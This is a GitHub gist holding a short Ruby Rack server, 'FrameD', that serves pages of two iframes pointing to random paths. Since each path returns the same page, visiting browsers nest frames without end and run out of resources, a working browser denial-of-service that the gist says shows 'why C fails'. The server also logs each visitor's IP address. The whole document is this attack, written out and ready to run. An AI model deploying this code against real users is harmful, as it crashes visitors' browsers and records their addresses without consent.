Created
December 3, 2008 23:29
-
-
Save postmodern/31760 to your computer and use it in GitHub Desktop.
Generates infinite iframes, also demonstrates why C fails
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env ruby | |
require 'rack' | |
class FrameD | |
CHARS = ('a'..'z').to_a | |
def random_path | |
(0..10).map { |i| | |
CHARS[rand(CHARS.length)] | |
}.join + ".html" | |
end | |
def call(env) | |
puts ">>> Framing #{env['REMOTE_ADDR']}" | |
[200, {'Content-Type' => 'text/html'}, %{ | |
<html> | |
<head><title>LOL C Fails</title></head> | |
<body> | |
<blink>FrameD... YEEEEEAAAHHH BooooEEEEEE</blink> | |
<iframe src="#{random_path}"></iframe> | |
<iframe src="#{random_path}"></iframe> | |
</body> | |
</html>} | |
] | |
end | |
end | |
Rack::Handler::Mongrel.run FrameD.new, :Port => 8080 |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment